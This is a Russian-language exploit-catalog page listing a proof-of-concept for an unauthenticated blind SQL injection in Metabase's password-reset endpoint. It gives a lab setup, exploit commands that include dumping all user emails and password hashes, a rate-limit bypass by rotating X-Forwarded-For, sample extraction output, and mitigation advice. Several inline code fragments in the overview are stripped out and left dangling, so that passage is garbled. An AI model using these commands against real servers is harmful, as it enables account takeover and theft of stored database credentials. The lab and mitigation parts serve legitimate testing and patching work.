Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-72898 — Неаутентифицированный эксплойт слепой SQL-инъекции для Metabase, использующий необработанную SQL-инъекцию в конечной точке сброса пароля для извлечения данных с помощью техник, основанных на времени. | Kitploit
Инструменты/GitHubGitHub/eqstlab/cve-2026-72898
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed Teaming
GitHubeqstlab/cve-2026-72898

CVE-2026-72898

Неаутентифицированный эксплойт слепой SQL-инъекции для Metabase, использующий необработанную SQL-инъекцию в конечной точке сброса пароля для извлечения данных с помощью техник, основанных на времени.

Репозиторий
16 ч 36 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-72898 Metabase сброс пароля неаутентифицированная SQL-инъекция

★ CVE-2026-72898 Metabase /api/session/reset_password неаутентифицированная слепая SQLi PoC ★

https://github.com/user-attachments/assets/4efe5ae3-2a41-4567-815b-ee3f731a5a59


Обзор

CVE-2026-72898 — это неаутентифицированная SQL-инъекция в Metabase (CVSS 10.0), доступная через публичную конечную точку POST /api/session/reset_password. Конечная точка объединяет тело запроса с результатом (неудачной) аутентификации — (merge request (authenticate ...)) — поэтому поле user-id, предоставленное атакующим, сохраняется нетронутым и попадает в запрос к пользователю базы данных приложения t2/select-one :model/User :id user-id без проверки целочисленности. Metabase строит SQL с помощью , чей словарь компилируется как (без привязки параметров). Отправка в виде таким образом внедряет произвольный SQL в базу данных приложения. Конечная точка всегда возвращает , поэтому инъекция является ; данные извлекаются с помощью (продакшн-стандартная база данных приложения Postgres). Успешная эксплуатация даёт доступ к данным администратора Metabase, сохранённым учётным данным подключения для каждого подключённого источника данных и полный переход в эти базы данных.

HoneySQL
{:raw "..."}
сырой SQL-фрагмент
user-id
{"raw":"<SQL>"}
400
слепой
на основе времени
pg_sleep

Затронутые версии

КатегорияВерсия
УязвимыеMetabase (OSS 0.x / EE 1.x) v58.0 – v58.23, v59.0 – v59.20, v60.0 – v60.16, v61.0 – v61.10, v62.0 – v62.8, v63.0 – v63.4
Исправленныеv58.24 / v59.21 / v60.17 / v61.11 / v62.9 / v63.5 или новее

Влияние

  • Неаутентифицированное выполнение произвольного SQL в базе данных приложения Metabase
  • Захват учётной записи администратора и кража сохранённых учётных данных подключения для каждого подключённого источника данных
  • Переход в подключённые хранилища данных / производственные базы данных (экфильтрация данных)
  • Исправление добавляет проверку pos-int?, поэтому нецелочисленный user-id отклоняется до выполнения запроса

Окружение

Соберите и запустите уязвимый Metabase. Он использует базу данных приложения Postgres (обязательно — метод на основе времени требует pg_sleep, которого нет в H2) и автоматически завершает первоначальную настройку, поэтому загружается до страницы входа. Запуск занимает ~40–60 секунд.

root@kitploit:~
docker build -t cve-2026-72898 .
docker run -d --name cve-2026-72898 --shm-size 256m -p 3000:3000 cve-2026-72898
Предварительное условиеСостояние в этой лаборатории
Metabase v58 – v63.4v0.62.1
База данных приложения Postgres (включает pg_sleep)встроена в образ
/api/session/reset_password доступна без аутентификацииоткрыта
Ограничение сброса на IP (обходится ротацией X-Forwarded-For)MB_SOURCE_ADDRESS_HEADER=X-Forwarded-For

PoC

Эксплойт metabase_exploit.py считывает любое значение, на которое вы его нацелите, без учётных данных, используя слепой примитив на основе времени. Он отправляет новый случайный X-Forwarded-For для каждого запроса, чтобы обойти ограничение скорости на IP (как это делали атаки в дикой природе). Выберите цель с помощью --extract "<SQL>".

root@kitploit:~
# по умолчанию: извлечь email администратора
python3 metabase_exploit.py 172.17.0.2:3000

# извлечь что угодно (любое скалярное SQL-выражение)
python3 metabase_exploit.py 172.17.0.2:3000 --extract "version()"
python3 metabase_exploit.py 172.17.0.2:3000 --extract "(SELECT string_agg(email||':'||password, ',') FROM core_user)"
root@kitploit:~
[*] target  http://172.17.0.2:3000/api/session/reset_password
[*] extract (SELECT email FROM core_user ORDER BY id LIMIT 1)
[*] length = 15; extracting ...
    [  1] a
    [  2] ad
    ...
    [ 15] [email protected]

[+] EXTRACTED: [email protected]

Опции:

  • --check — только подтвердить, что инъекция эксплуатируема (показывает разницу во времени pg_sleep)
  • --extract "<SQL>" — любое скалярное SQL-выражение (автоматически приводится к тексту)
  • --sleep 0.4 — задержка на TRUE-бит (увеличьте на медленной/удалённой цели)

Смягчение

  • Обновите Metabase до v58.24 / v59.21 / v60.17 / v61.11 / v62.9 / v63.5 или новее
  • Если вы не можете обновиться немедленно, заблокируйте POST /api/session/reset_password на прокси/WAF
  • После установки исправления: аннулируйте все сессии (core_session), проверьте учётные записи администраторов и ключи API, а также ротируйте учётные данные подключения каждого подключённого источника данных (предполагайте, что они были раскрыты, если конечная точка была доступна через интернет)

Анализ

  • KR:
  • EN:
Скачать инструмент